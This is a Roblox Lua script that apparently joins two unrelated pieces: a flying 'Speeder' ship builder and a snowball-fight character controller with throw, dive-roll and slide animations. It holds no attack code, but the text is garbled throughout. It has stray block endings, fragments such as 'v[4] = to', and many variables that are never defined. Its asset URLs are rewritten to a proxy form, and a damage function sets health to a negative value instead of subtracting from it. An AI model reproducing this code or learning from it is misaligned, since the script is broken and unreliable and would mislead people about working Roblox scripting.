P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.2,0.2,0.2)
P.Locked = true
P.TopSurface = 10
P.BottomSurface = 10
P.FrontSurface = 10
P.BackSurface = 10
P.LeftSurface = 10
P.RightSurface = 10
P.Material = "Pebble"
P.BrickColor = BrickColor.new("White")
local shipp
local shadow
local campart
function HSV(H,S,V)
H = H % 360
local C = V * S
local H2 = H/60
local X = C * (1 - math.abs((H2 %2) -1))
local color = Color3.new(0,0,0)
if H2 <= 0 then
color = Color3.new(C,0,0)
elseif 0 <= H2 and H2 <= 1 then
color = Color3.new(C,X,0)
elseif 1 <= H2 and H2 <= 2 then
color = Color3.new(X,C,0)
elseif 2 <= H2 and H2 <= 3 then
color = Color3.new(0,C,X)
elseif 3 <= H2 and H2 <= 4 then
color = Color3.new(0,X,C)
elseif 4 <= H2 and H2 <= 5 then
color = Color3.new(X,0,C)
elseif 5 <= H2 and H2 <= 6 then
color = Color3.new(C,0,X)
end
local m = V - C
return Color3.new(color.r + m, color.g + m, color.b + m)
end
function Build(shiptype)
AllowTrails = true
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Ship" then
v:remove()
end
end
for i, v in pairs(TrailParts) do
for _,V in pairs(v[3]) do
V:Destroy()
end
end
local mdl = Instance.new("Model", char)
mdl.Name = "Ship"
shipp = P:Clone()
shipp.Parent = mdl
shipp.Size = Vector3.new(1,1,2.2)
local shipwing1 = P:Clone()
shipwing1.Parent = mdl
shipwing1.Size = Vector3.new(0.6,1.2,2)
local mesh = Instance.new("SpecialMesh", shipwing1)
mesh.MeshType = "Wedge"
local shipwing2 = shipwing1:Clone()
shipwing2.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwing21 = P:Clone()
shipwing21.Parent = mdl
shipwing21.Size = Vector3.new(0.32,1.1,2.6)
local mesh = Instance.new("SpecialMesh", shipwing21)
mesh.MeshType = "Wedge"
local shipwing22 = shipwing21:Clone()
shipwing22.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
shadow = P:Clone()
shadow.Parent = mdl
shadow.Name = "Shadow"
shadow.Material = "SmoothPlastic"
shadow.BrickColor = BrickColor.new("Really black")
local mesh = Instance.new("SpecialMesh",shadow)
mesh.MeshType = "Sphere"
TrailParts = {}
table.insert(TrailParts,{shipp,1,
{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18})
table.insert(TrailParts,{shipwing1,1,
{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
table.insert(TrailParts,{shipwing2,1,
{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
for _, V in pairs(TrailParts) do
for i = 1, V[7] do
local p = P:Clone()
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/asset/?
id=9856898"
mesh.TextureId = "http://www.roblox.com/asset/?
id=48358980"
p.BrickColor = BrickColor.new("Dark stone grey")
table.insert(V[3],p)
end
end
function ReposParts()
shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-
0.14) * CFrame.Angles(0,0,math.pi/2)
shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-
0.14) * CFrame.Angles(0,0,-math.pi/2)
shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-
0.45) * CFrame.Angles(0,0,math.pi/2)
shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-
0.45) * CFrame.Angles(0,0,-math.pi/2)
shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7)
shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015)
campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0)
end
cam.CameraSubject = campart
cam.CameraType = "Track"
end
AllowTrails = true
end
Build("Speeder")
function B1D()
Build("Speeder")
end
function RollThatSht(direc)
if Roll == 0 then
for i = 1, 50 do
Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc
wait(0.02)
end
Roll = 0
end
end
function KD(key)
if key == "w" then
W = true
elseif key == "s" then
S = true
end
local rollpls = 0
if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then
DoublePress = {nil,0}
if key == "a" then
rollpls = -1
elseif key == "d" then
rollpls = 1
end
end
DoublePress = {key,tick()}
if rollpls ~= 0 then
RollThatSht(rollpls)
end
end
function KU(key)
if key == "w" then
W = false
elseif key == "s" then
S = false
end
end
function Equip()
end
function Unequip()
end
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(B1D)
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)
local count = 0
local hue = 0
--game:GetService("RunService").Stepped:connect(function()
while wait(0.02) do
DesiredDirection = cam.CoordinateFrame.lookVector
------ direction smoothening ------
local dir = DesiredDirection.unit
if Direction ~= dir then
if (Direction - dir).magnitude < 0.01 then
Direction = dir
else
local dist = ((dir - Direction).unit * (dir -
Direction).magnitude) /10
Direction = (Direction + dist).unit
end
end
v[4] = to
end
end
end
--end)
S = Instance.new("Model")
S.Name = "ValueChanger1"
S.Parent = Game.Workspace
--- vars ---
local player = game:GetService("Players").LocalPlayer
local repstor = game:GetService("ReplicatedStorage")
local mouse = player:GetMouse()
local char = player.Character
local Hu = char.Humanoid
local Gui = player:WaitForChild("PlayerGui")
local Torsoz = char:findFirstChild("Torso")
local HRP = char:findFirstChild("HumanoidRootPart")
local HRJ = HRP:findFirstChild("RootJoint")
local RA = char:findFirstChild("Right Arm")
local LA = char:findFirstChild("Left Arm")
local RL = char:findFirstChild("Right Leg")
local LL = char:findFirstChild("Left Leg")
local H = char:findFirstChild("Head")
local RS = Torsoz:findFirstChild("Right Shoulder")
local LS = Torsoz:findFirstChild("Left Shoulder")
local RH = Torsoz:findFirstChild("Right Hip")
local LH = Torsoz:findFirstChild("Left Hip")
local N = Torsoz:findFirstChild("Neck")
local NV = Vector3.new()
local Main
local SPB,SPF,SPC,SnowPart
local SPCP = 0
local Animating = false
local Walkspeed = 16
local Shift, Alt, Space, MouseDown = false, false, false, false
local ThrowingSequence = false
local SlideCooldown = 0
local SnowballProjectiles, SnowSplosionEffects = {}, {}
local disableJump = false
local AnimSpeeds = {
0.5; -- idle
5; -- walking
6.5; -- running
7; -- jumping
7; -- falling
}
for i, v in pairs(char:children()) do
if v.Name == "Cheese" then
v:remove()
end
end
script.Parent = char
script.Name = "Cheese"
function GetWeld(weld)
if weld:findFirstChild("WeldAngle") == nil then
local a = Instance.new("Vector3Value", weld)
a.Name = "WeldAngle"
end
return weld.C0.p, weld.WeldAngle.Value
end
function ChangeValue(obj,type,value)
local val = Instance.new("ObjectValue")
val.Name = type
val.Value = obj
local val2 = Instance.new("NumberValue",val)
val2.Name = "value"
val2.Value = value
if type == "PingTestIncrement" then
local val3 = Instance.new("NumberValue",val)
val3.Name = "time"
val3.Value = repstor.TickTimer.Value
end
val.Parent = workspace.ValueChanger1
end
function SnowballHit(part,pos,power)
if part.Parent:findFirstChild("Humanoid") then
local dmg = (45*power) - math.random(1,4)
dmg = power > 0.99 and dmg*1.25 or dmg
print("Damaging",part.Parent.Name,"by",dmg)
part.Parent.Humanoid.Health = -dmg
end
SnowSplosion(pos)
end
function SnowSplosion(pos)
local spmdl = Instance.new("Model", char)
spmdl.Name = "SnoSplosion"
for i = 1, 14 do
local p = P:Clone()
p.Parent = spmdl
p.Name = "Effect"
p.Anchored = true
p.BrickColor = BrickColor.new("White")
p.CFrame = CFrame.new(pos) * CFrame.Angles(0,
(math.pi*2)*math.random(),(math.pi*2)*math.random()) * CFrame.new(0.05,0,0)
p.Transparency = 0.2
local mesh = Instance.new("SpecialMesh",p)
mesh.MeshType = "Sphere"
mesh.Scale = Vector3.new(5,2,2)
end
table.insert(SnowSplosionEffects,spmdl)
end
----------------------------------
for i, v in pairs(char:GetChildren()) do
if v.Name == "health" and v.className == "NumberValue" then
v:Destroy()
end
end
local health = Instance.new("NumberValue", char)
health.Name = "health"
health.Value = 100
health.Changed:connect(function()
if health.Value <= 0 then
char:BreakJoints()
end
end)
snowballs.Changed:connect(function()
snowballs.Value = snowballs.Value > 8 and 8 or snowballs.Value
snowballs.Value = snowballs.Value < 0 and 0 or snowballs.Value
local percentage = snowballs.Value/8
SnowPart.Mesh.Scale = Vector3.new(0.71,0.6*percentage,0.71) *5
SnowPart.Weld.C0 = CFrame.new(0,-0.08 - (0.3*(1-percentage)),0)
SnowPart.Transparency = percentage == 0 and 1 or 0
end)
player.Chatted:connect(function(msg)
if string.sub(msg:lower(),1,5) == "pose/" then
pose.Value = tonumber(string.sub(msg,6))
elseif string.sub(msg:lower(),1,7) == "invoke/" then
invoke.Value = tonumber(string.sub(msg,8))
elseif msg == "replenish" then
snowballs.Value = 8
end
end)
local b = P:Clone()
b.Parent = m
b.Name = "Bag"
b.BrickColor = BrickColor.new("Lime green")
b.Transparency = 1
local mesh = Instance.new("SpecialMesh",b)
mesh.MeshType = "Brick"
mesh.Scale = Vector3.new(0.8,0.6,0.8) *5
local w = Instance.new("Weld",b)
w.Part0 = RL
w.Part1 = b
w.C0 = CFrame.new(0.82,0.5,0)
for i = 1, 10 do
local p = P:Clone()
p.Parent = m
p.Name = "BagPart"
p.BrickColor = BrickColor.new("Dark orange")
p.Material = "Fabric"
local mesh = Instance.new("SpecialMesh",p)
mesh.MeshType = "Brick"
mesh.Scale = Vector3.new(0.1,0.4,0.26) *5
local w = Instance.new("Weld",p)
w.Part0 = b
w.Part1 = p
w.C1 = CFrame.new(0.35,0.004*(i%2),0)
w.C0 = CFrame.new(0,0.1,0) * CFrame.Angles(0,math.pi*2/10*i,0)
if i%2 == 0 then
for j = 0, 6 do
local mathi = math.sin(math.pi/2 + (math.pi/5*j))
local p = P:Clone()
p.Parent = m
p.Name = "BagPart"
p.BrickColor = BrickColor.new("Dark orange")
p.Material = "Fabric"
local mesh = Instance.new("SpecialMesh",p)
mesh.MeshType = "Brick"
mesh.Scale = Vector3.new(0.1,0.22,0.26*mathi) *5
local w = Instance.new("Weld",p)
w.Part0 = b
w.Part1 = p
w.C1 = CFrame.new(0.35,0,0)
w.C0 = CFrame.new(0,-0.2,0) *
CFrame.Angles(0,math.pi*2/10*i,math.pi/6*j)
end
end
end
local s = P:Clone()
s.Parent = m
s.Name = "Snow"
s.BrickColor = BrickColor.new("White")
s.Transparency = 0
s.Material = "Sand"
local mesh = Instance.new("CylinderMesh",s)
mesh.Scale = Vector3.new(0.71,0.6,0.71) *5
local w = Instance.new("Weld",s)
w.Part0 = b
w.Part1 = s
w.C0 = CFrame.new(0,-0.08,0)
SnowPart = s
end
Build()
--------------------------------
end
CreateGui()
-------------- limb setup ---------------
pcall(function() char.Animate:Destroy() end)
SetWeld(RS,1,1,NV,NV,Vector3.new(1.5,0.5,0),NV)
RS.C1 = CFrame.new(0,0.5,0)
SetWeld(LS,1,1,NV,NV,Vector3.new(-1.5,0.5,0),NV)
LS.C1 = CFrame.new(0,0.5,0)
SetWeld(RH,1,1,NV,NV,Vector3.new(0.5,-1,0),NV)
RH.C1 = CFrame.new(0,1,0)
SetWeld(LH,1,1,NV,NV,Vector3.new(-0.5,-1,0),NV)
LH.C1 = CFrame.new(0,1,0)
SetWeld(N,1,1,NV,NV,Vector3.new(0,1,0),NV)
N.C1 = CFrame.new(0,-0.5,0)
SetWeld(HRJ,1,1,NV,NV,NV,NV)
HRJ.C1 = CFrame.new(0,0,0)
wait(1)
RS.MaxVelocity = 0
RS.CurrentAngle = 0
RS.DesiredAngle = 0
LS.MaxVelocity = 0
LS.CurrentAngle = 0
LS.DesiredAngle = 0
RH.MaxVelocity = 0
RH.CurrentAngle = 0
RH.DesiredAngle = 0
LH.MaxVelocity = 0
LH.CurrentAngle = 0
LH.DesiredAngle = 0
N.MaxVelocity = 0
N.CurrentAngle = 0
N.DesiredAngle = 0
HRJ.MaxVelocity = 0
HRJ.CurrentAngle = 0
HRJ.DesiredAngle = 0
-----------------
Hu.Changed:connect(function()
if disableJump or DisableMovement then
Hu.Jump = false
end
end)
function KD(key)
if key == "0" then
Shift = true
if pose.Value == 1 then
pose.Value = 0
disableJump = false
end
elseif key == "4" then
Alt = true
if not Animating and SlideCooldown == 0 then
invoke.Value = 3
else
while Animating or SlideCooldown > 0 do
wait()
end
if Alt then
invoke.Value = 3
end
end
elseif key == "2" then
if not ThrowingSequence then
if pose.Value == 0 then
pose.Value = 1
disableJump = true
elseif pose.Value == 1 then
pose.Value = 0
disableJump = false
end
end
elseif key == string.char(32) then
Space = true
if pose.Value == 1 then
if not Animating then
invoke.Value = 2
else
while Animating do
wait()
end
if Space and pose.Value == 1 then
invoke.Value = 2
end
end
end
end
end
function KU(key)
if key == "0" then
Shift = false
elseif key == "4" then
Alt = false
elseif key == string.char(32) then
Space = false
end
end
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)
local count1 = 0
local angle = 0
local slidecount = 1
local slidecountmax = 1
local countspeed = 0.5
local cancella = false
local cancelra = false
local cancelrl = false
local cancelll = false
local canceln = false
local cancelhrp = false
local cancelmain = false
local anim = 0
local lastanim = -1
local lastpose = 0
local rs,rsa, ls,lsa, rh,rha, lh,lha, n,na, hrj,hrja, main,maina
local ghitz,genz
local prevvelocity = HRP.Velocity
function UpdateWP(max,sped)
max = max or 5
sped = sped or AnimSpeeds[anim+1]
rs,rsa = GetWeld(RS)
ls,lsa = GetWeld(LS)
rh,rha = GetWeld(RH)
lh,lha = GetWeld(LH)
n,na = GetWeld(N)
hrj,hrja = GetWeld(HRJ)
if Main.Value ~= nil then
main,maina = GetWeld(Main.Value)
end
slidecount = 0
slidecountmax = max
countspeed = sped
end
UpdateWP()
-------------- Invoke Animations -------------------------
function Throw()
if not Animating and snowballs.Value > 0 then
Animating = true
ThrowingSequence = true
pose.Value = 0
disableJump = false
----- sword slash ------
cancelra = true
cancella = true
cancelhrp = true
canceln = true
cancelmain = true
local prevslidecount = slidecount
UpdateWP(slidecountmax,countspeed)
slidecount = prevslidecount
local phase = 0
local smdl = Instance.new("Model",char)
smdl.Name = "SnowBall"
local ball,weld
for i = 1, 17 do
if MouseDown then
if i <= 7 then
SetWeld(N,i,7,n,na,Vector3.new(0,1,0),Vector3.new(-0.3,-math.pi/8,0))
SetWeld(HRJ,i,7,hrj,hrja,Vector3.new(0,0,0.1),Vector3.new(0,-math.pi/20,0))
SetWeld(RS,i,7,rs,rsa,Vector3.new(1.5,0.26,0),Vector3.new(-0.2,0,-0.1))
SetWeld(LS,i,7,ls,lsa,Vector3.new(-1.5,0.525,-
0.01),Vector3.new(-0.25,0,-0.12))
phase = 1
if i == 7 then
UpdateWP(slidecountmax,countspeed)
ChangeValue(snowballs,"Increment",-1)
ball = P:Clone()
ball.Parent = smdl
ball.BrickColor = BrickColor.new("White")
ball.Material = "Sand"
local mesh =
Instance.new("SpecialMesh",ball)
mesh.MeshType = "Sphere"
mesh.Scale = Vector3.new(0.8,0.8,0.8) *5
weld = Instance.new("Weld",ball)
weld.Part0 = RA
weld.Part1 = ball
weld.C0 = CFrame.new(0,-1.3,0)
end
else
SetWeld(N,i-
7,10,n,na,Vector3.new(0,1,0),Vector3.new(0.03,math.pi/9,0))
SetWeld(HRJ,i-
7,10,hrj,hrja,Vector3.new(0,0,0.1),Vector3.new(0,-math.pi/8,0))
SetWeld(RS,i-
7,10,rs,rsa,Vector3.new(1.4,0.5,0),Vector3.new(math.pi*1.05,0,0.2))
SetWeld(LS,i-7,10,ls,lsa,Vector3.new(-
1.3,0.42,-0.1),Vector3.new(math.pi/4,0,-math.pi/8))
if i == 9 then
SPC.Archivable = true
SPB.BackgroundColor3 =
Color3.new(0.45,0.1,0.01)
SPF.BackgroundColor3 =
Color3.new(0.65,0.1,0.01)
SPF.Size = UDim2.new(1,0,0,0)
SPF.Position = UDim2.new(0,0,1,0)
end
phase = 2
end
wait(0.02)
end
end
local rs2,rsa2 = GetWeld(RS)
local ls2,lsa2 = GetWeld(LS)
local n2,na2 = GetWeld(N)
local hrj2,hrja2 = GetWeld(HRJ)
local powercounter = 20
local power = 0
while MouseDown do
powercounter = (powercounter%40) + 1
power = 1 - math.sin(math.pi/40*powercounter)
SPB.BackgroundColor3 = Color3.new((1-power)*0.35
+0.1,power*0.35 +0.1,0.01)
SPF.BackgroundColor3 = Color3.new((1-power)*0.55
+0.1,power*0.55 +0.1,0.01)
SPF.Size = UDim2.new(1,0,power,0)
SPF.Position = UDim2.new(0,0,1-power,0)
SetWeld(RS,power,1,rs2,rsa2,Vector3.new(1.4,0.6,0.05),Vector3.new(math.pi*1.17,0,0.
3))
SetWeld(LS,power,1,ls2,lsa2,Vector3.new(-1.3,0.42,-
0.16),Vector3.new(math.pi/2.45,0,-math.pi/5))
SetWeld(N,power,1,n2,na2,Vector3.new(0,1,0),Vector3.new(0.07,math.pi/8,-
0.04))
SetWeld(HRJ,power,1,hrj2,hrja2,Vector3.new(0,0,0.1),Vector3.new(0,-math.pi/
7,0))
phase = 3
wait(0.02)
end
SPC.Archivable = false
print("Phase:",phase)
rs2,rsa2 = GetWeld(RS)
ls2,lsa2 = GetWeld(LS)
n2,na2 = GetWeld(N)
hrj2,hrja2 = GetWeld(HRJ)
SetWeld(RS,i,8,rs2,rsa2,Vector3.new(1.4,0.6,0.05),Vector3.new((math.pi*0.6) -
(1.8*power),0.18 - (0.65*power),0.3))
SetWeld(LS,i,8,ls2,lsa2,Vector3.new(-1.36,0.5,-
0.06),Vector3.new((-math.pi/4) - (0.4*power),0.2,-math.pi/5))
SetWeld(N,i,8,n2,na2,Vector3.new(0,1,0),Vector3.new(-
0.07,-math.pi/11 - (0.3*power),-0.04))
SetWeld(HRJ,i,8,hrj2,hrja2,Vector3.new(0,0,0.1),Vector3.new(0,(math.pi/
10)+(0.3*power),0))
if i == 2 then
weld:Destroy()
ball.Anchored = true
---
{part,gravity,currentgravity,direction,speed,power,counter,{parts},life}
local snowball = {ball,0.1 + 0.8*(0.96-power),1
- (0.95*power),(mousepos-ball.Position).unit,1.8 + (3*power),power,1,{},0}
if power > 0.99 then
for i = 1, 20 do
local p = P:Clone()
p.Anchored = true
p.BrickColor =
BrickColor.new("Bright yellow")
local mesh =
Instance.new("SpecialMesh",p)
mesh.MeshId =
"rbxassetid://9756362"
mesh.Scale =
Vector3.new(0.32,0.32,0.32)
table.insert(snowball[8],p)
end
end
table.insert(SnowballProjectiles,snowball)
end
wait(0.02)
end
wait(0.02)
else
smdl:Destroy()
end
UpdateWP(slidecountmax,countspeed)
cancelra = false
cancella = false
cancelhrp = false
canceln = false
cancelmain = false
ThrowingSequence = false
Animating = false
elseif snowballs.Value <= 0 then
print("No snow left!")
-- alert saying you have no snow left in pouch
end
end
function DiveRoll()
if not Animating then
Animating = true
DisableMovement = true
cancelra = true
cancella = true
cancelhrp = true
canceln = true
cancelmain = true
cancelll = true
cancelrl = true
local prevslidecount = slidecount
UpdateWP(slidecountmax,countspeed)
slidecount = prevslidecount
local connex =
game:GetService("RunService").RenderStepped:connect(function()
if HRP.Velocity.y > 0 then
HRP.Velocity = NV
end
HRP.CanCollide = false
end)
local connex2 =
game:GetService("RunService").Stepped:connect(function()
local Ghitz,Genz = RAY(HRP.Position,Vector3.new(0,-3.1,0))
if Ghitz then
HRP.CFrame = (HRP.CFrame - HRP.Position) + Genz +
Vector3.new(0,3,0)
end
end)
local animspd = 4
for i = 1, animspd do
SetWeld(N,i,animspd,n,na,Vector3.new(0,1,0),Vector3.new(math.pi/5,0,0),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,0.4,0),Vector3.new(-math.pi/
2.6,0,0),0)
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.4,0.5,-
0.06),Vector3.new(math.pi/1.2,0,0.2),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.4,0.5,-
0.06),Vector3.new(math.pi/1.2,0,-0.2),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.5,-0.6,-
0.1),Vector3.new(0.1,0,0.05),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.5,-0.6,-
0.1),Vector3.new(0.1,0,-0.05),0)
wait(0.02)
end
UpdateWP(slidecountmax,countspeed)
for i = 1, animspd do
SetWeld(N,i,animspd,n,na,Vector3.new(0,1,0),Vector3.new(math.pi/12,0,0),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,-
0.7,0),Vector3.new(-math.pi/1.5,0,0),0)
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.4,0.6,-
0.06),Vector3.new(math.pi/1.3,0,0.2),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.4,0.6,-
0.06),Vector3.new(math.pi/1.3,0,-0.2),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.5,-
1,0),Vector3.new(-0.1,0,0.05),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.5,-
1,0),Vector3.new(-0.1,0,-0.05),0)
wait(0.02)
end
UpdateWP(slidecountmax,countspeed)
for i = 1, animspd do
SetWeld(N,i,animspd,n,na,Vector3.new(0,0.85,0),Vector3.new(-math.pi/4,0,0),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,-
1,0),Vector3.new(-math.pi*0.9,0,0),0)
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.4,0.5,-
0.06),Vector3.new(math.pi/1.4,0,0.08),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.4,0.5,-
0.06),Vector3.new(math.pi/1.4,0,-0.08),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.5,-0.3,-
0.4),Vector3.new(-0.12,0,0.05),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.5,-0.3,-
0.4),Vector3.new(-0.12,0,-0.05),0)
wait(0.02)
end
UpdateWP(slidecountmax,countspeed)
bv.velocity = bv.velocity * 0.9
for i = 1, animspd do
SetWeld(N,i,animspd,n,na,Vector3.new(0,0.85,0),Vector3.new(-math.pi/
3.5,0,0),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,-
1.25,0),Vector3.new(-math.pi*1.1,0,0),0)
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.4,0.5,-
0.06),Vector3.new(math.pi/1.8,0,-0.1),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.4,0.5,-
0.06),Vector3.new(math.pi/1.8,0,0.1),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.5,0.2,-
0.7),Vector3.new(-0.12,0,0.05),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.5,0.2,-
0.7),Vector3.new(-0.12,0,-0.05),0)
wait(0.02)
end
UpdateWP(slidecountmax,countspeed)
for i = 1, animspd do
SetWeld(N,i,animspd,n,na,Vector3.new(0,0.85,0),Vector3.new(-math.pi/
3.7,0,0),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,-
2.3,0),Vector3.new(-math.pi*1.55,0,0),0)
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.4,0.5,-
0.06),Vector3.new(math.pi/2.4,0,-0.23),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.4,0.5,-
0.06),Vector3.new(math.pi/2.4,0,0.23),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.5,0.1,-
0.7),Vector3.new(-0.1,0,0.04),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.5,0.1,-
0.7),Vector3.new(-0.1,0,-0.04),0)
wait(0.02)
end
UpdateWP(slidecountmax,countspeed)
bv.velocity = bv.velocity * 0.7
for i = 1, animspd do
SetWeld(N,i,animspd,n,na,Vector3.new(0,1.05,0),Vector3.new(-0.4,0,0),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,-
1.6,0),Vector3.new(-math.pi*1.85,0,0),0)
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.4,0.5,-
0.06),Vector3.new(math.pi/3.2,0,-0.24),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.4,0.5,-
0.06),Vector3.new(math.pi/3.2,0,0.24),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.5,-0.08,-
0.6),Vector3.new(-0.22,0,0.04),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.5,-0.08,-
0.6),Vector3.new(-0.22,0,-0.04),0)
wait(0.02)
end
UpdateWP(slidecountmax,countspeed)
bv.velocity = bv.velocity * 0.4
for i = 1, animspd do
SetWeld(RS,i,animspd,rs,rsa,Vector3.new(1.35,0.66 +
(angle*0.012),0.12),Vector3.new(0.2 + (angle*0.02),-0.22,0.446 + (angle*0.016)),0)
SetWeld(LS,i,animspd,ls,lsa,Vector3.new(-1.35,0.66 +
(angle*0.012),0.12),Vector3.new(0.2 + (angle*0.02),0.22,-0.446 - (angle*0.016)),0)
SetWeld(RH,i,animspd,rh,rha,Vector3.new(0.7,-0.18 -
(cangle*0.04),-0.2 - (angle*0.01)),Vector3.new(0.2 - (angle*0.12),-math.pi/5,0.12 -
(angle*0.06)),0)
SetWeld(LH,i,animspd,lh,lha,Vector3.new(-0.38,-0.32 +
(cangle*0.04),-0.45 + (angle*0.01)),Vector3.new(-0.1 + (angle*0.15),-math.pi/5,-
0.07 + (angle*0.07)),0)
SetWeld(N,i,animspd,n,na,Vector3.new(0,1,0),Vector3.new(0.12 +
(angle*0.004),-math.pi/5 - (angle*0.01),0.1),0)
SetWeld(HRJ,i,animspd,hrj,hrja,Vector3.new(0,-
0.7,0),Vector3.new((-math.pi*2) -0.24 + (-angle*0.008),math.pi/5 +
(angle*0.01),angle*0.01),0)
wait(0.02)
end
SetWeld(HRJ,1,1,hrj,hrja,Vector3.new(0,-0.7,0),Vector3.new(-0.24
+ (-angle*0.008),math.pi/5 + (angle*0.01),angle*0.01))
bv:Destroy()
bg:Destroy()
connex:disconnect()
connex2:disconnect()
UpdateWP()
cancelra = false
cancella = false
cancelhrp = false
canceln = false
cancelmain = false
cancelll = false
cancelrl = false
Animating = false
DisableMovement = false
end
end
function Slide()
if not Animating and Shift and pose.Value == 0 and SlideCooldown == 0
and Vector3.new(Torsoz.Velocity.x,0,Torsoz.Velocity.z).magnitude >= 18 then
Animating = true
DisableMovement = true
cancelra = true
cancella = true
cancelhrp = true
canceln = true
cancelmain = true
cancelll = true
cancelrl = true
local prevslidecount = slidecount
UpdateWP(slidecountmax,countspeed)
slidecount = prevslidecount
local connex =
game:GetService("RunService").RenderStepped:connect(function()
if HRP.Velocity.y > 0 then
HRP.Velocity = NV
end
HRP.CanCollide = false
end)
local animspd = 8
local animcount = 1
local bvaccel = 1
local bvvelo = bv.velocity
local lasttorpos = HRP.Position
local tickcount = 0
local cancelslide = false
local torsoangle = 0
while not cancelslide and bvaccel > 0.16 do
tickcount = tickcount+1
lasttorpos = HRP.Position
animcount = (animcount < animspd and animcount+1) or
animspd
local n2,na2 = GetWeld(N)
local hrj2,hrja2 = GetWeld(HRJ)
local rs2,rsa2 = GetWeld(RS)
local ls2,lsa2 = GetWeld(LS)
local rh2,rha2 = GetWeld(RH)
local lh2,lha2 = GetWeld(LH)
SetWeld(N,1,4,n2,na2,Vector3.new(0,1.08,-0.1),Vector3.new(-
math.pi/4.3,-0.12,-0.08))
SetWeld(HRJ,1,4,hrj2,hrja2,Vector3.new(0,-
2.1,0),Vector3.new((math.pi/2.6)+torsoangle,0.12 + (angle*0.008),0))
SetWeld(RS,1,4,rs2,rsa2,Vector3.new(1.4,0.6,-
0.02),Vector3.new(-math.pi/1.8,-(angle*0.01),0.2 - (angle*0.009)))
SetWeld(LS,1,4,ls2,lsa2,Vector3.new(-1.3,0.6,-
0.16),Vector3.new(-math.pi/1.8,-(angle*0.01),-0.6 - (angle*0.009)))
SetWeld(RH,1,4,rh2,rha2,Vector3.new(0.5,-
0.8,0),Vector3.new(0.22,-0.06 - (angle*0.01),0.05))
SetWeld(LH,1,4,lh2,lha2,Vector3.new(-0.5,-0.35,-
0.45),Vector3.new(-0.25,-0.12 - (angle*0.01),-0.03))
bv.velocity = bvvelo * bvaccel
wait(0.02)
local torsoatan = (CFrame.new(lasttorpos) * (HRP.CFrame-
HRP.Position)):pointToObjectSpace(HRP.Position)
torsoangle = math.atan2(torsoatan.y,-torsoatan.z)
local Ghitz,Genz = RAY(HRP.Position,Vector3.new(0,-3.1,0))
if Ghitz then
HRP.CFrame = (HRP.CFrame - HRP.Position) + Genz +
Vector3.new(0,3,0)
end
if (lasttorpos.y - HRP.Position.y) < -0.1 then
bvaccel = bvaccel - 0.045
elseif (lasttorpos.y - HRP.Position.y) > 0.08 then
bvaccel = bvaccel - 0.006
if Ghitz then
bvaccel = bvaccel + ((lasttorpos.y -
HRP.Position.y) /2.5)
end
else
bvaccel = bvaccel - 0.017
end
bvaccel = bvaccel > 1.02 and 1.02 or bvaccel
local chitz,cenz =
RAY(Torsoz.Position,Vector3.new(0,2.5,0))
local stationary = false
if tickcount > 5 then
stationary =
(Vector3.new(lasttorpos.x,0,lasttorpos.z) -
Vector3.new(HRP.Position.x,0,HRP.Position.z)).magnitude < 0.15
end
if bvaccel < 0.16 or (chitz == nil and not Alt) or
stationary then
cancelslide = true
end
end
SlideCooldown = 14
bv:Destroy()
bg:Destroy()
connex:disconnect()
UpdateWP(slidecountmax,countspeed)
cancelra = false
cancella = false
cancelhrp = false
canceln = false
cancelmain = false
cancelll = false
cancelrl = false
Animating = false
DisableMovement = false
end
end
invokelist = {}
invokelist[1] = Throw
invokelist[2] = DiveRoll
invokelist[3] = Slide
